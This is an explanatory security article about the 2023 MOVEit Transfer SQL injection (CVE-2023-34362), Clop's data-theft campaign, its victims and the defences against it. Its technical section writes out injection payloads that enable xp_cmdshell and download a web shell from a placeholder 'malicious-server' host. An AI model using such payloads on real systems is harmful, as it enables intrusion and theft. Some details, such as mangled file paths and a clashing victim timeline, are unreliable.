Critical Zero-Day in MOVEit Transfer Exploited by Clop Ransomware Group

The Discovery of a Catastrophic Flaw

On May 31, 2023, Progress Software disclosed a critical zero-day vulnerability in MOVEit Transfer, a widely used managed file transfer (MFT) solution. The flaw, assigned CVE-2023-34362, was a severe SQL injection vulnerability enabling unauthenticated remote code execution. Unbeknownst to the vendor and thousands of customers, the Clop ransomware group had been actively exploiting this flaw for days, initiating a global data theft campaign that would ripple across governments, financial institutions, healthcare providers, and energy firms. The incident quickly eclipsed the earlier GoAnywhere MFT attacks, cementing Clop’s reputation as the most formidable data extortion actor of the year.

The Zero-Day Vulnerability (CVE-2023-34362)

At its core, CVE-2023-34362 resided in the web application’s database interaction layer. The MOVEit Transfer interface, exposed over HTTP/HTTPS for file sharing workflows, failed to properly sanitize user-supplied input in a specific parameter. Attackers could inject malicious SQL statements, bypass authentication, and manipulate the back-end Microsoft SQL Server database. This injection point existed in the human.aspx and machine.aspx endpoints, which processed unauthenticated requests. By crafting a series of carefully constructed SQL queries, threat actors could extract database contents, create new administrative accounts, upload web shells, and ultimately execute arbitrary code on the underlying server. The Common Vulnerability Scoring System (CVSS) assigned a base score of 9.8 out of 10, denoting critical severity due to the ease of exploitation and total system compromise potential.

Clop Ransomware Group’s Modus Operandi

The Clop group, linked to the Russian-speaking cybercriminal collective TA505, had evolved from conventional ransomware deployment to pure data exfiltration and extortion. Rather than encrypting victim files, Clop operators silently exfiltrated sensitive data using the MOVEit vulnerability, then issued extortion demands threatening to publish the stolen information on their dedicated leak site, “cl0p^_- LEAKS.” This shift reduced operational overhead, eliminated the need for decryption support, and bypassed many endpoint detection mechanisms that trigger on file encryption activities. Clop’s hallmark is targeting centralized file transfer appliances—previously exploiting Accellion FTA (2020), SolarWinds Serv-U (2021), and GoAnywhere MFT (2023)—to maximize the blast radius through supply chain compromise. MOVEit Transfer proved the most lucrative yet, with the group claiming hundreds of victims months before the vulnerability was publicly known.

Exploitation Timeline and Attack Chain

Forensic analysis revealed that Clop’s probing began as early as May 27, 2023, four days before the public advisory. The initial access vector involved HTTP POST requests to the /guestaccess.aspx and /api/v1/folders endpoints. The exploit chain started with SQL injection to alter the database, inserting a new MOVEit system administrator account with a hardcoded username and password. This account bypassed all native authentication controls. Once logged in, the attackers navigated to the moveitisapi/moveitisapi.dll component to deploy a malicious web shell, typically named human2.aspx or machine2.aspx. This web shell allowed the group to enumerate directories, download stored files, and maintain persistent access. Data exfiltration occurred via legitimate MOVEit transfer functions, blending malicious traffic with normal file movement activities to evade network detection. Stolen data included customer records, employee personal identifiable information (PII), health records, financial documents, and contractual agreements. In subsequent weeks, Mandiant and Microsoft attributed the intrusions firmly to Lace Tempest, a threat actor cluster overlapping with Clop’s operational infrastructure.

Widespread Impact and Notable Victims

The scale of the breach is staggering. Over 2,000 organizations were impacted globally, and more than 60 million individuals’ data was exposed, according to security researchers. High-profile victims span multiple sectors: the U.S. Department of Energy, the Department of Health and Human Services, the Office of Personnel Management, British Airways, the BBC, the Nova Scotia government, the Minnesota Department of Education, Zellis (a UK payroll provider affecting numerous corporate clients), Shell, Siemens Energy, and the University of California, Los Angeles (UCLA). The indirect fallout was equally severe, as many victims were third-party vendors whose compromised data cascaded to downstream clients. For example, the Zellis attack exposed personal data of employees from British Airways, the BBC, and Boots. This prompted mandatory data breach notifications, regulatory scrutiny under GDPR and various U.S. state laws, and immense reputational damage. The financial toll, including investigation, remediation, legal liabilities, and extortion payments, is projected to exceed several billion dollars industry-wide.

Technical Deep Dive: SQL Injection to Remote Code Execution

Understanding the exploit’s sophistication requires examining the SQL injection mechanics. The vulnerable parameter accepted a Unicode string that was concatenated into a dynamic SQL query without parameterized queries. Attackers submitted a request containing a malformed username or folder name, embedding SQL statements that leveraged the OPENROWSET and xp_cmdshell extended stored procedures in Microsoft SQL Server. By enabling xp_cmdshell through the injection—assuming the SQL service account had sufficient privileges—they executed operating system commands directly. A typical payload sequence involved:

1. Sending a crafted POST /human.aspx request with a payload parameter containing ’EXEC sp_configure ‘show advanced options’, 1; RECONFIGURE; EXEC sp_configure ‘xp_cmdshell’, 1; RECONFIGURE; --
2. Subsequent injections calling EXEC master.dbo.xp_cmdshell ‘powershell -command “Invoke-WebRequest -Uri http://malicious-server/shell.aspx -OutFile C:MOVEitTransferwwwrootshell.aspx”’ to download a web shell.
3. Authentication bypass via SQL statements that manipulated the users table, inserting a new row with a known password hash.

This methodology left clear database artifacts: suspicious system administrator accounts, modified stored procedures, and unusual scheduled tasks. Organizations that detected the breach early identified anomalous logins from IP addresses associated with Clop’s VPN infrastructure and the distinctive web shell signatures. The vulnerability’s exploitability through internet-facing interfaces without any user interaction made it a prime target for mass automated exploitation, and within days, multiple independent threat actors began leveraging published proof-of-concept code, compounding the damage.

Mitigation and Patching

Progress Software released patches in a series of rapid updates: version 2023.0.2 on May 31 addressed the SQL injection, followed by further patches for additional vulnerabilities discovered during the investigation (CVE-2023-35036, CVE-2023-35708). Security advisories urged all MOVEit Transfer and MOVEit Cloud customers to apply patches immediately, rotate all credentials, reset service accounts, and audit for indicators of compromise (IOCs). The company provided a set of YARA and Snort rules, and published a detailed list of hashes for known web shells. Mandatory actions included:

• Isolating affected systems and taking them offline.
• Examining the C:MOVEitTransferwwwroot directory for files named human2.aspx, machine2.aspx, or any .asp or .aspx files not part of the default installation.
• Querying SQL Server for new administrator accounts created after May 27, 2023.
• Blocking outbound SMB and RDP from MOVEit servers to prevent lateral movement.
• Implementing network segmentation so that MFT appliances cannot initiate connections to arbitrary internet hosts.

For affected organizations, incident response extended to forensic imaging, log analysis, and notifying regulatory authorities. Several cybersecurity insurance providers mandated proof of patching and firewall rule validation before renewing policies.

The Clop Extortion Website and Data Leaks

True to their extortion model, Clop began listing victims on the dark web leak site starting June 14, 2023. The group posted “proof packs”—screenshots and sample files—alongside demands for payment. Unusually, Clop publicly claimed they had deleted all data from government, military, law enforcement, and healthcare entities, though no evidence confirmed this assertion. They employed a mix of financial intimidation and public pressure, giving deadlines before releasing incremental data dumps. By November 2023, the leak site had exposed terabytes of corporate data, including employee records, contracts, and intellectual property. Some victim organizations reportedly negotiated payments, while others refrained, opting to manage the data exposure. The U.S. Cybersecurity and Infrastructure Security Agency (CISA) issued joint advisories with the FBI, emphasizing that paying the ransom did not guarantee data deletion and often funded further criminal activity. The leak site remained active, with new victims added as recently as early 2024, illustrating the longevity of the stolen data’s black-market value.

Lessons for Enterprise Security

The MOVEit incident underscores critical lessons for enterprise defenders. Managed file transfer appliances are prime targets due to their exposure and the sensitive data they handle. Organizations must implement a zero-trust architecture, enforce strict input validation, and mandate the use of parameterized queries in all applications. Continuous vulnerability scanning, coupled with runtime application self-protection (RASP), can detect SQL injection attempts in real time. Proactive measures include deploying web application firewalls (WAF) with bespoke rules for SQL injection patterns, disabling dangerous SQL Server features like xp_cmdshell and OPENROWSET unless absolutely required, and enforcing least-privilege principles for database service accounts. Robust logging of all SQL queries and HTTP requests proved invaluable for early detection; organizations with mature security information and event management (SIEM) integrations could spot the anomalous database modifications. Furthermore, the attack highlighted the necessity of third-party risk management—vetting supplier security postures and contractually mandating breach notification timelines. As file transfer platforms remain essential for business operations, the MOVEit zero-day serves as a stark reminder that perimeter defenses alone are insufficient, and a defense-in-depth strategy, combined with an effective patch management program, is non-negotiable in today’s threat landscape.